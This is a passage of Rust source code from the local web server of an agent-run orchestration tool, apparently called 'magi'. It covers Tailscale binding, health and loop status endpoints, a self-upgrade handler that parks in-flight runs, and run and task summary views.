1676 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1677 local-only and a phone cannot reach it; start Tailscale \
1678 or pass --bind <addr>"
1679 )),
1680 ),
1681 },
1682 }
1683}
1684
1685fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1693 let out = std::process::Command::new("tailscale")
1694 .args(["ip", "-4"])
1695 .quiet()
1696 .output()
1697 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1698 if !out.status.success() {
1699 let why = String::from_utf8_lossy(&out.stderr);
1700 let why = why.trim();
1701 return Err(format!(
1702 "`tailscale ip -4` failed ({}){}",
1703 out.status,
1704 if why.is_empty() {
1705 String::new()
1706 } else {
1707 format!(": {why}")
1708 }
1709 ));
1710 }
1711 String::from_utf8_lossy(&out.stdout)
1712 .lines()
1713 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1714 .find(is_tailnet)
1715 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1716}
1717
1718fn is_tailnet(ip: &Ipv4Addr) -> bool {
1720 let o = ip.octets();
1721 o[0] == 100 && (64..=127).contains(&o[1])
1722}
1723
1724type ApiResult<T> = std::result::Result<T, ApiError>;
1728
1729#[derive(Debug)]
1731struct ApiError {
1732 status: StatusCode,
1733 message: String,
1734}
1735
1736impl ApiError {
1737 fn bad_request(message: impl Into<String>) -> Self {
1739 Self {
1740 status: StatusCode::BAD_REQUEST,
1741 message: message.into(),
1742 }
1743 }
1744
1745 fn not_found(message: impl Into<String>) -> Self {
1747 Self {
1748 status: StatusCode::NOT_FOUND,
1749 message: message.into(),
1750 }
1751 }
1752
1753 fn with_status(mut self, status: StatusCode) -> Self {
1756 self.status = status;
1757 self
1758 }
1759
1760 fn bad_request_from(e: anyhow::Error) -> Self {
1764 Self::bad_request(format!("{e:#}"))
1765 }
1766
1767 fn conflict(message: impl Into<String>) -> Self {
1768 Self {
1769 status: StatusCode::CONFLICT,
1770 message: message.into(),
1771 }
1772 }
1773
1774 fn internal(message: impl Into<String>) -> Self {
1776 Self {
1777 status: StatusCode::INTERNAL_SERVER_ERROR,
1778 message: message.into(),
1779 }
1780 }
1781}
1782
1783impl From<anyhow::Error> for ApiError {
1784 fn from(e: anyhow::Error) -> Self {
1789 Self::internal(format!("{e:#}"))
1790 }
1791}
1792
1793impl IntoResponse for ApiError {
1794 fn into_response(self) -> Response {
1795 let body = serde_json::json!({ "error": self.message });
1796 (self.status, Json(body)).into_response()
1797 }
1798}
1799
1800async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1809where
1810 T: Send + 'static,
1811{
1812 match tokio::task::spawn_blocking(job).await {
1813 Ok(result) => result,
1814 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1815 }
1816}
1817
1818const ASSET_CACHE: &str = "no-cache, must-revalidate";
1836
1837fn asset_etag() -> &'static str {
1844 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1845 format!(
1846 "\"{}-{}\"",
1847 env!("CARGO_PKG_VERSION"),
1848 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1853 )
1854 });
1855 &TAG
1856}
1857
1858fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1860 [
1861 (header::CONTENT_TYPE, mime),
1862 (header::CACHE_CONTROL, ASSET_CACHE),
1863 (header::ETAG, asset_etag()),
1864 ]
1865}
1866
1867fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1875 let tag = asset_etag();
1876 let known = headers
1877 .get(header::IF_NONE_MATCH)
1878 .and_then(|v| v.to_str().ok())
1879 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1883 if known {
1884 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1885 }
1886 (asset_headers(mime), body).into_response()
1887}
1888
1889async fn index(headers: header::HeaderMap) -> Response {
1890 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1891}
1892
1893async fn app_css(headers: header::HeaderMap) -> Response {
1894 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1895}
1896
1897async fn app_js(headers: header::HeaderMap) -> Response {
1898 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1899}
1900
1901#[derive(Debug, Serialize)]
1903struct HealthView {
1904 version: &'static str,
1905 home: String,
1906 queue_rev: u64,
1907 runs_rev: u64,
1908 questions_rev: u64,
1920 talks_rev: u64,
1922 notifications_rev: u64,
1924 notifications_unread: usize,
1927 loop_rev: u64,
1932 runs_unreadable: usize,
1940 disk: DiskView,
1948 questions_open: usize,
1954 questions_needs_owner: usize,
1964 daemon: DaemonView,
1965 #[serde(rename = "loop")]
1971 looping: LoopView,
1972 update: UpdateView,
1979 upgrade: Option<UpgradeProgressView>,
1983}
1984
1985#[derive(Debug, Serialize)]
1992struct UpdateView {
1993 available: bool,
1995 to: Option<String>,
1997}
1998
1999#[derive(Debug, Serialize)]
2001struct UpgradeProgressView {
2002 stage: updater::Stage,
2003 from: String,
2004 to: Option<String>,
2005 waiting_on: Option<String>,
2008 started_at: Timestamp,
2009 updated_at: Timestamp,
2010 detail: Option<String>,
2011 stuck_for_secs: Option<i64>,
2014 stuck_kind: Option<updater::StallKind>,
2017 handover_alive: bool,
2020}
2021
2022fn should_spawn_recheck(cfg: &Update) -> bool {
2029 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2030}
2031
2032fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2044 if progress.is_some_and(|p| !p.stage.terminal()) {
2045 return false;
2046 }
2047 checker.should_check()
2048}
2049
2050fn recheck_poll_period(cfg: &Update) -> Duration {
2063 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2064}
2065
2066async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2090 loop {
2091 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2092 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2093 if !should_spawn_recheck(&cfg.update) {
2094 continue;
2095 }
2096 let Some(checker) = updater::Checker::new(&cfg.update) else {
2097 continue;
2098 };
2099 let progress = updater::read_progress(&home);
2100 if !update_recheck_due(&checker, progress.as_ref()) {
2101 continue;
2102 }
2103 if let Err(e) = checker.newer_release().await {
2104 tracing::warn!("background update recheck failed: {e:#}");
2105 }
2106 }
2107}
2108
2109fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2115 let default;
2116 let cfg = match cfg {
2117 Some(cfg) => cfg,
2118 None => {
2119 default = Config::default();
2120 &default
2121 }
2122 };
2123 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2124 match latest {
2125 Some(latest) => UpdateView {
2126 available: true,
2127 to: Some(latest.tag_name),
2128 },
2129 None => UpdateView {
2130 available: false,
2131 to: None,
2132 },
2133 }
2134}
2135
2136fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2142 let now = Timestamp::now();
2143 let lease = updater::read_lease(&ui.home);
2144 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2145 let run_id = alive
2146 .and_then(|l| l.parked_run.as_deref())
2147 .or(progress.parked_run.as_deref());
2148 let parking = progress.stage == updater::Stage::Parking;
2149 let waited = alive.map_or_else(String::new, |l| {
2150 let secs = updater::waited_secs(l, now);
2151 format!(" (waited {} min so far)", secs / 60)
2152 });
2153 let run_text = run_id
2154 .filter(|_| parking)
2155 .map(|id| match read_run(&ui.runs, id).ok() {
2156 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2157 None => format!("run {id} is finishing"),
2158 });
2159 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2160 .filter(|t| parking && !t.is_empty())
2161 .map(|t| format!("{t} finishing"));
2162 let waiting_on = match (run_text, talks_text) {
2163 (None, None) => None,
2164 (run, talks) => {
2165 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2166 Some(format!(
2167 "{} before the address is handed over{waited}",
2168 parts.join(" and ")
2169 ))
2170 }
2171 };
2172 let detail = progress
2173 .detail
2174 .clone()
2175 .or_else(|| updater::read_note(&ui.home, &progress));
2176 let stalled = updater::stall(&progress, lease.as_ref(), now);
2177 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2178 UpgradeProgressView {
2179 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2180 stuck_kind: stalled.map(|s| s.kind),
2181 handover_alive: alive.is_some(),
2182 stage: progress.stage,
2183 from: progress.from,
2184 to: progress.to,
2185 waiting_on,
2186 started_at: progress.started_at,
2187 updated_at: progress.updated_at,
2188 detail,
2189 }
2190}
2191
2192#[derive(Debug, Serialize)]
2197struct DiskView {
2198 #[serde(skip_serializing_if = "Option::is_none")]
2200 free_bytes: Option<u64>,
2201 runs_bytes: u64,
2203 worktrees_bytes: u64,
2205 #[serde(skip_serializing_if = "Option::is_none")]
2207 cache_bytes: Option<u64>,
2208}
2209
2210impl DiskView {
2211 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2213 let cache_bytes = cfg
2214 .and_then(|cfg| cfg.cache_dir())
2215 .map(|dir| crate::disk::dir_size(&dir));
2216 Self {
2217 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2218 runs_bytes: crate::disk::dir_size(&ui.runs),
2219 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2220 cache_bytes,
2221 }
2222 }
2223}
2224
2225#[derive(Debug, Serialize)]
2227struct DaemonView {
2228 running: bool,
2229 idle: Option<bool>,
2230 pid: Option<u32>,
2231 current: Vec<daemon::Current>,
2235 completed: Option<u64>,
2236 stale_for_secs: Option<i64>,
2237}
2238
2239impl DaemonView {
2240 fn of(status: Option<daemon::Reading>) -> Self {
2244 let Some(status) = status else {
2245 return Self {
2246 running: false,
2247 idle: None,
2248 pid: None,
2249 current: Vec::new(),
2250 completed: None,
2251 stale_for_secs: None,
2252 };
2253 };
2254 let now = Timestamp::now();
2255 let age = status.age_secs(now);
2256 Self {
2257 running: status.running(now),
2258 idle: Some(status.idle),
2259 pid: status.pid,
2260 current: status.current,
2261 completed: Some(status.completed),
2262 stale_for_secs: age,
2263 }
2264 }
2265}
2266
2267async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2268 blocking(move || {
2269 let reading = daemon::read_status(&ui.home);
2273 let loop_rev = ui.lock_loop().rev;
2277 let cfg = deputy_config(&ui.repo);
2280 let update = cached_update_view(cfg.as_ref());
2281 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2282 Ok(Json(HealthView {
2283 version: env!("CARGO_PKG_VERSION"),
2284 home: ui.home.display().to_string(),
2285 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2286 runs_rev: runs_revision(&ui.runs),
2287 questions_rev: ui.questions.revision(),
2288 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2289 notifications_rev: ui.notices.revision(),
2290 notifications_unread: ui.notices.count_unread(),
2291 loop_rev,
2292 runs_unreadable: runs_unreadable(&ui.runs),
2293 questions_open: ui.questions.count_open(),
2294 questions_needs_owner: ui.questions.count_needs_owner(),
2295 daemon: DaemonView::of(reading.clone()),
2296 looping: ui.loop_view(reading),
2297 disk: DiskView::of(&ui, cfg.as_ref()),
2298 update,
2299 upgrade,
2300 }))
2301 })
2302 .await
2303}
2304
2305#[derive(Debug, Serialize)]
2307struct LoopView {
2308 running: bool,
2310 stopping: bool,
2318 parking: bool,
2326 owned: bool,
2334 repo: String,
2337 merge: Option<String>,
2340 last_error: Option<String>,
2348 daemon: DaemonView,
2351}
2352
2353#[derive(Debug, Clone, Copy)]
2362struct Foreign {
2363 pid: Option<u32>,
2365}
2366
2367impl Foreign {
2368 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2371 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2375 }
2376
2377 fn who(&self) -> String {
2380 match self.pid {
2381 Some(pid) => format!("another magi process (pid {pid})"),
2382 None => "another magi process".to_owned(),
2383 }
2384 }
2385}
2386
2387type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2392
2393fn launch_daemon(
2395 opts: daemon::Opts,
2396 stop: daemon::Stop,
2397) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2398 Box::pin(daemon::serve_until(opts, stop))
2399}
2400
2401#[derive(Debug, Default)]
2403struct LoopState {
2404 live: Option<Live>,
2406 rev: u64,
2414 last_error: Option<String>,
2417 resume_after_handover: bool,
2422}
2423
2424#[derive(Debug)]
2426struct Live {
2427 stop: daemon::Stop,
2429 handle: tokio::task::JoinHandle<()>,
2434 opts: daemon::Opts,
2438}
2439
2440impl Live {
2441 fn alive(&self) -> bool {
2443 !self.handle.is_finished()
2444 }
2445}
2446
2447fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2454 state.lock().unwrap_or_else(PoisonError::into_inner)
2455}
2456
2457async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2459 blocking(move || {
2460 let reading = daemon::read_status(&ui.home);
2461 Ok(Json(ui.loop_view(reading)))
2462 })
2463 .await
2464}
2465
2466#[derive(Debug, Deserialize)]
2472#[serde(deny_unknown_fields)]
2473struct LoopCommand {
2474 running: bool,
2475 #[serde(default)]
2485 park: bool,
2486}
2487
2488async fn loop_post(
2496 State(ui): State<Arc<Ui>>,
2497 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2498) -> ApiResult<Json<LoopView>> {
2499 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2502 blocking(move || {
2503 let reading = daemon::read_status(&ui.home);
2504 let foreign = Foreign::of(reading.as_ref());
2505 if body.running {
2506 ui.start_loop(foreign)?;
2507 } else {
2508 ui.stop_loop(foreign, body.park)?;
2509 }
2510 Ok(Json(ui.loop_view(reading)))
2511 })
2512 .await
2513}
2514
2515#[derive(Debug, Serialize)]
2517struct UpgradeView {
2518 from: String,
2520 to: Option<String>,
2522 parked: Option<String>,
2524 detail: String,
2526}
2527
2528fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2531 progress.filter(|p| !p.stage.terminal())
2532}
2533
2534async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2558 let reading = daemon::read_status(&ui.home);
2559 if let Some(other) = Foreign::of(reading.as_ref()) {
2560 return Err(ApiError::conflict(format!(
2561 "the loop belongs to {}, so replacing this binary would leave \
2562 that process running an old one against the same queue. Upgrade \
2563 where it was started.",
2564 other.who()
2565 )));
2566 }
2567
2568 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2573 return Err(ApiError::conflict(
2574 "another request is already preparing an upgrade",
2575 ));
2576 };
2577 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2578 return Err(ApiError::conflict(
2579 "an upgrade is already in progress (this process started one and it \
2580 has not finished or failed yet)",
2581 ));
2582 }
2583 let recorded = updater::read_progress(&ui.home);
2584 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2585 return Err(ApiError::conflict(format!(
2586 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2587 stays stuck, restart the deck; on start it settles a stale record.",
2588 p.stage.as_str(),
2589 p.from,
2590 p.to.as_deref().unwrap_or("?"),
2591 )));
2592 }
2593
2594 if crate::updater::disabled_by_env() {
2600 return Ok((
2601 StatusCode::OK,
2602 Json(UpgradeView {
2603 from: env!("CARGO_PKG_VERSION").to_owned(),
2604 to: None,
2605 parked: None,
2606 detail: format!(
2607 "Automatic updates are disabled by {}. Nothing was parked \
2608 and nothing restarted.",
2609 crate::updater::NO_AUTOUPDATE_ENV
2610 ),
2611 }),
2612 ));
2613 }
2614
2615 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2620 let from = env!("CARGO_PKG_VERSION").to_owned();
2621 let latest = match crate::updater::Checker::new(&cfg.update) {
2622 Some(checker) => checker
2623 .newer_release()
2624 .await
2625 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2626 None => None,
2627 };
2628 let Some(latest) = latest else {
2629 return Ok((
2630 StatusCode::OK,
2631 Json(UpgradeView {
2632 from,
2633 to: None,
2634 parked: None,
2635 detail: "Already on the newest release. Nothing was parked \
2636 and nothing restarted."
2637 .to_owned(),
2638 }),
2639 ));
2640 };
2641
2642 let parked = ui.park_for_upgrade()?;
2645 let detail = match &parked {
2646 Some(run) => format!(
2651 "Run {} is parking at its next step, which can take as long as \
2652 the step it is on - up to an hour for an implement wave. The \
2653 deck replaces itself once it parks, comes back, and the loop \
2654 carries that run on from where it stopped. Nothing is lost if \
2655 you close this.",
2656 crate::run::short_of(run)
2657 ),
2658 None => "The deck replaces itself and comes back. Nothing was in \
2659 flight to park."
2660 .to_owned(),
2661 };
2662
2663 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2667 progress.parked_run = parked.clone();
2668 updater::write_progress_logged(&ui.home, &progress);
2672
2673 let home = ui.home.clone();
2674 let looping = ui.looping();
2675 ui.upgrade_spawned
2676 .store(true, std::sync::atomic::Ordering::SeqCst);
2677 let spawned = Arc::clone(&ui.upgrade_spawned);
2678 tokio::spawn(async move {
2679 if let Err(e) = upgrade_and_restart(home.clone()).await {
2680 tracing::error!("the upgrade did not complete: {e:#}");
2681 lock_or_recover(&looping).resume_after_handover = false;
2682 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2686 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2689 }
2690 });
2691
2692 Ok((
2693 StatusCode::ACCEPTED,
2694 Json(UpgradeView {
2695 from,
2696 to: Some(latest.tag_name),
2697 parked,
2698 detail,
2699 }),
2700 ))
2701}
2702
2703async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2708 crate::updater::run_self_update(true, false, true).await?;
2711 updater::log_step(&home, "binary replaced - recording the replaced stage");
2712 if let Some(mut progress) = updater::read_progress(&home) {
2713 progress.advance(updater::Stage::Replaced);
2714 updater::write_progress_logged(&home, &progress);
2715 }
2716 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2717 HANDOVER.notify_one();
2718 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2719 Ok(())
2720}
2721
2722#[derive(Debug, Serialize)]
2728struct RunSummary {
2729 id: String,
2730 short: String,
2731 status: String,
2732 done: bool,
2733 instruction: String,
2734 title: String,
2735 repo: String,
2736 repo_name: String,
2737 created_at: String,
2738 updated_at: String,
2739 candidates: usize,
2740 viable: usize,
2741 judges: usize,
2742 winner: Option<char>,
2743 reviews: usize,
2744 quota_losses: usize,
2745 event: Option<String>,
2746 superseded_by: Option<String>,
2751 waiting: bool,
2758 live: crate::run::Liveness,
2762 pr: Option<crate::run::PrRecord>,
2764 unmerged_by_design: bool,
2770 origin_label: String,
2773}
2774
2775impl RunSummary {
2776 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2777 Self {
2778 id: state.id.clone(),
2779 short: state.short().to_owned(),
2780 status: status_word(state.status),
2781 done: state.status.done(),
2782 unmerged_by_design: state.unmerged_by_design(),
2783 instruction: state.instruction.clone(),
2784 title: title_from(&state.instruction, TITLE_MAX),
2785 repo: state.repo.display().to_string(),
2786 repo_name: state
2787 .repo
2788 .file_name()
2789 .map(|n| n.to_string_lossy().into_owned())
2790 .unwrap_or_default(),
2791 created_at: state.created_at.to_string(),
2792 updated_at: state.updated_at.to_string(),
2793 candidates: state.candidates.len(),
2794 viable: state.viable().len(),
2795 judges: state.config.graph.judges,
2796 winner: state.winner().map(|c| c.label),
2797 reviews: state.reviews.len(),
2798 quota_losses: state.quota.len(),
2799 event: state.events.last().map(|e| e.message.clone()),
2800 waiting,
2801 live,
2802 superseded_by: None,
2805 pr: state.pr.clone(),
2806 origin_label: crate::run::origin_label(state.origin.as_ref()),
2807 }
2808 }
2809}
2810
2811fn status_word(status: RunStatus) -> String {
2814 status.as_str().to_owned()
2818}
2819
2820#[derive(Debug, Deserialize)]
2822struct ListQuery {
2823 #[serde(default)]
2824 limit: Option<usize>,
2825 ids: Option<String>,
2827}
2828
2829impl ListQuery {
2830 fn contains(&self, id: &str) -> bool {
2831 self.ids
2832 .as_ref()
2833 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2834 }
2835}
2836
2837async fn runs_list(
2838 State(ui): State<Arc<Ui>>,
2839 Query(q): Query<ListQuery>,
2840) -> ApiResult<Json<Vec<RunSummary>>> {
2841 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2842 blocking(move || {
2843 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2844 let states = run_ids(&ui.runs)
2845 .into_iter()
2846 .filter_map(|id| read_run(&ui.runs, &id).ok())
2851 .take(limit)
2852 .filter(|run| q.contains(&run.id));
2853 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2854 let summaries = summarize(
2855 states,
2856 &open_runs,
2857 &claimed,
2858 &superseded,
2859 |p| probe.borrow_mut().status(p),
2860 |p| probe.borrow_mut().started_at(p),
2861 );
2862 Ok(Json(summaries))
2863 })
2864 .await
2865}
2866
2867fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2872 let open_runs: HashSet<String> = ui
2873 .questions
2874 .list()
2875 .into_iter()
2876 .filter(|q| q.status.open())
2877 .map(|q| q.run)
2878 .collect();
2879 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2880 .into_iter()
2881 .map(|c| c.run)
2882 .collect();
2883 (open_runs, claimed, ui.queue.superseded())
2884}
2885
2886fn summarize<I, S, D>(
2892 states: I,
2893 open_runs: &HashSet<String>,
2894 claimed: &HashSet<String>,
2895 superseded: &HashMap<String, String>,
2896 mut status_q: S,
2897 mut identity_q: D,
2898) -> Vec<RunSummary>
2899where
2900 I: IntoIterator<Item = RunState>,
2901 S: FnMut(u32) -> Option<bool>,
2902 D: FnMut(u32) -> Option<String>,
2903{
2904 states
2905 .into_iter()
2906 .map(|state| {
2907 let waiting = open_runs.contains(&state.id);
2908 let live =
2909 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2910 let mut row = RunSummary::of(&state, waiting, live);
2911 row.superseded_by = superseded
2912 .get(&state.id)
2913 .map(String::as_str)
2914 .map(crate::run::short_of)
2915 .map(str::to_owned);
2916 row
2917 })
2918 .collect()
2919}
2920
2921#[derive(Debug, Serialize)]
2928struct RunDetailView {
2929 #[serde(flatten)]
2930 state: RunState,
2931 instruction_md: Vec<md::Node>,
2932 #[serde(flatten)]
2936 prose_md: RunProseMd,
2937 live: crate::run::Liveness,
2952 unmerged_by_design: bool,
2957 done: bool,
2962 superseded_by: Option<String>,
2970 latest_attempt: Option<LatestAttempt>,
2984 task: Option<TaskRef>,
2987 origin_label: String,
2991}
2992
2993#[derive(Debug, Serialize)]
2995struct TaskRef {
2996 id: String,
2997 short: String,
2998 title: String,
2999 source_label: String,
3001 source_link: Option<SourceLink>,
3003 status: &'static str,
3005 attempts: usize,
3006 max_attempts: usize,
3007 is_latest: bool,
3009 latest: Option<RunBrief>,
3011 finished_by: Option<RunBrief>,
3013 closed_by_hand: bool,
3015}
3016
3017#[derive(Debug, PartialEq, Eq, Serialize)]
3019struct SourceLink {
3020 kind: &'static str,
3022 id: String,
3024 href: String,
3026}
3027
3028fn encode_segment(raw: &str) -> String {
3030 let mut out = String::with_capacity(raw.len());
3031 for b in raw.bytes() {
3032 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3033 out.push(b as char);
3034 } else {
3035 out.push_str(&format!("%{b:02X}"));
3036 }
3037 }
3038 out
3039}
3040
3041fn source_link(source: &Source) -> Option<SourceLink> {
3045 let Source::Agent { run, node } = source else {
3046 return None;
3047 };
3048 let (kind, route) = if node == crate::queue::CHAT_NODE {
3049 ("chat", "chat")
3050 } else {
3051 ("run", "runs")
3052 };
3053 Some(SourceLink {
3054 kind,
3055 id: run.clone(),
3056 href: format!("#/{route}/{}", encode_segment(run)),
3057 })
3058}
3059
3060#[derive(Debug, Serialize, PartialEq)]
3062struct FollowUpParent {
3063 id: String,
3064 short: String,
3065 title: String,
3066 status: &'static str,
3068 href: String,
3069}
3070
3071#[derive(Debug, Serialize, PartialEq)]
3073struct FollowUpRun {
3074 id: String,
3075 short: String,
3076 status: Option<&'static str>,
3078 href: Option<String>,
3080}
3081
3082#[derive(Debug, Serialize, PartialEq)]
3085struct FollowUpOrigin {
3086 parent: Option<FollowUpParent>,
3088 run: FollowUpRun,
3089 pr: String,
3094 findings: Vec<String>,
3095 generation: u32,
3096}
3097
3098fn followup_origin(
3101 fu: &crate::queue::FollowUp,
3102 task: impl Fn(&str) -> Option<Task>,
3103 run: impl Fn(&str) -> Option<RunState>,
3104) -> FollowUpOrigin {
3105 let parent = fu
3106 .origin_task
3107 .as_deref()
3108 .and_then(task)
3109 .map(|t| FollowUpParent {
3110 short: t.short().to_owned(),
3111 href: format!("#/tasks/{}", encode_segment(&t.id)),
3112 status: t.status.as_str(),
3113 title: t.title,
3114 id: t.id,
3115 });
3116 let state = run(&fu.run);
3117 FollowUpOrigin {
3118 parent,
3119 run: FollowUpRun {
3120 short: run::short_of(&fu.run).to_owned(),
3121 status: state.as_ref().map(|s| s.status.as_str()),
3122 href: state
3123 .is_some()
3124 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3125 id: fu.run.clone(),
3126 },
3127 pr: fu.pr.clone(),
3128 findings: fu.findings.clone(),
3129 generation: fu.generation,
3130 }
3131}
3132
3133#[derive(Debug, Serialize)]
3135struct RunBrief {
3136 id: String,
3137 short: String,
3138 status: Option<&'static str>,
3140 outcome: String,
3142}
3143
3144fn task_outcome(
3147 task: &Task,
3148 this_run: &str,
3149 max_attempts: usize,
3150 read: impl Fn(&str) -> Option<RunState>,
3151) -> TaskRef {
3152 let history = task_history(task, read);
3153 let brief = |h: &TaskRunView| RunBrief {
3154 id: h.id.clone(),
3155 short: h.short.clone(),
3156 status: h.status,
3157 outcome: h.exit.edge_label(h.status),
3158 };
3159 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3160 let latest = if is_latest {
3161 None
3162 } else {
3163 history.last().map(brief)
3164 };
3165 let done = task.status == TaskStatus::Done;
3166 let finished_by = done
3167 .then(|| {
3168 history
3169 .iter()
3170 .rev()
3171 .find(|h| {
3172 matches!(
3173 h.exit,
3174 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3175 )
3176 })
3177 .map(brief)
3178 })
3179 .flatten();
3180 TaskRef {
3181 short: task.short().to_owned(),
3182 title: task.title.clone(),
3183 id: task.id.clone(),
3184 source_label: task.source.label(),
3185 source_link: source_link(&task.source),
3186 status: task.status.as_str(),
3187 attempts: task.attempts,
3188 max_attempts,
3189 is_latest,
3190 latest,
3191 closed_by_hand: done && finished_by.is_none(),
3192 finished_by,
3193 }
3194}
3195
3196#[derive(Debug, Serialize)]
3198struct LatestAttempt {
3199 id: String,
3200 short: String,
3201 resolved: bool,
3212 status: RunStatus,
3215 done: bool,
3217}
3218
3219#[derive(Debug, Default, Serialize)]
3221struct RunProseMd {
3222 advice_md: Option<AdviceMd>,
3224 candidate_summaries_md: Vec<Vec<md::Node>>,
3226 reviews_md: Vec<RoundMd>,
3228}
3229
3230#[derive(Debug, Default, Serialize)]
3231struct AdviceMd {
3232 synthesis: Vec<md::Node>,
3233 approaches: Vec<Vec<md::Node>>,
3235}
3236
3237#[derive(Debug, Default, Serialize)]
3238struct RoundMd {
3239 reviewers: Vec<ReviewerMd>,
3241 reconsideration: Vec<Vec<md::Node>>,
3243 fix: Option<FixMd>,
3244}
3245
3246#[derive(Debug, Default, Serialize)]
3247struct ReviewerMd {
3248 summary: Vec<md::Node>,
3249 findings: Vec<Vec<md::Node>>,
3251}
3252
3253#[derive(Debug, Default, Serialize)]
3254struct FixMd {
3255 notes: Vec<md::Node>,
3256 rejected: Vec<Vec<md::Node>>,
3258}
3259
3260fn run_prose_md(state: &RunState) -> RunProseMd {
3262 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3263 RunProseMd {
3264 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3265 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3266 approaches: a
3267 .records
3268 .iter()
3269 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3270 .collect(),
3271 }),
3272 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3273 reviews_md: state
3274 .reviews
3275 .iter()
3276 .map(|round| RoundMd {
3277 reviewers: round
3278 .reviews
3279 .iter()
3280 .map(|rec| ReviewerMd {
3281 summary: nodes(&rec.summary),
3282 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3283 })
3284 .collect(),
3285 reconsideration: round
3286 .reconsideration
3287 .iter()
3288 .map(|rv| nodes(&rv.reason))
3289 .collect(),
3290 fix: round.fix.as_ref().map(|fix| FixMd {
3291 notes: nodes(&fix.notes),
3292 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3293 }),
3294 })
3295 .collect(),
3296 }
3297}
3298
3299impl RunDetailView {
3300 fn of(
3301 state: RunState,
3302 live: crate::run::Liveness,
3303 superseded_by: Option<String>,
3304 latest_attempt: Option<LatestAttempt>,
3305 task: Option<TaskRef>,
3306 ) -> Self {
3307 Self {
